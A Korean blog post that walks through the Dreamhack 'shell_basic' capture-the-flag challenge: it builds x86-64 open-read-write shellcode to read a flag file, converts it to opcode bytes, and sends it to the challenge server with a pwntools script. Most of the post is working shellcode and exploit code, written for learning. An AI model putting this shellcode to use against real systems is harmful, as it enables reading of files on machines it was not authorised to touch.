외로운 Nova의 작업실
dreamhack 시스템해킹 - 5(shell_basic 문제풀이) 본문
Computer App Penetesting/System Vulnerability
dreamhack 시스템해킹 - 5(shell_basic 문제풀이)
Nova_ 2023. 1. 3. 15:53이번시간에는 shell_basic 문제를 풀어보도록 하겠습니다.
- asm 짜고 OP code 만들기
먼저 파일 경로(/home/shell_basic/flag_name_is_loooooong)를 아스키코드로 변경해줍니다. 아래 링크로 들어가서 변경하면됩니다.
https://www.rapidtables.org/ko/convert/number/ascii-to-hex.html
2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67
위 문자들은 문자열로 쓰기위해서 마지막에 NULL을 상징하는 00을 붙여놓고 역으로 써줍니다.
00676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f
위는 파일의 경로를 나타내는 것으로 push한후 마지막 rsp를 rdi에 넣어주면됩니다.
section .text
global _start
_start:
push 00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall
xor rdi, rdi
mov rax, 0x3c
syscall
mov rax, 0x3c
mov rdi, 0
이제 위 asm파일을 op코드로 변환해봅시다. 위 코드를 컴파일을 해줍니다.
$ nasm -f elf64 shell_basic.asm
그다음 obj 파일을 보기위해 bin 파일로 변환해줍니다.
$ objcopy --dump-section .text=shell_basic.bin shell_basic.o
bin 파일을 열어봅시다.
$ xxd shell_basic.bin
위 op코드들을 문자열 형태로 전달해야하지만 16진수임을 표한하기위해 \x를 붙여서 정리해줍니다. 단 \x는 2개의 문자만 16진수로 처리하기때문에 2개씩 다 써줘야합니다.
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
op code가 완성되었습니다. 이제 서버로 보내봅시다.
- 서버로 op code 보내기
파이썬 pwn 모듈을 이용하여 보내보겠습니다.
from pwn import *
shell = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"
p = remote("host3.dreamhack.games", 21013)
p.send(shell)
data = p.recv(1024)
print(data)
저장후 실행시켜보겠습니다.
잘 되는 것을 확인할 수 있습니다.
'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글
system hacking 공격 기법 정리 (0) | 2023.01.04 |
---|---|
dreamhack 시스템해킹 - 6(호출 규약) (0) | 2023.01.04 |
dreamhack 시스템해킹 - 4(shell code) (0) | 2023.01.02 |
dreamhack 시스템해킹 - 3(리눅스, gdb, pwntools, python사용법) (0) | 2022.12.28 |
dreamhack 시스템해킹 - 2(memory layer) (0) | 2022.12.20 |
Comments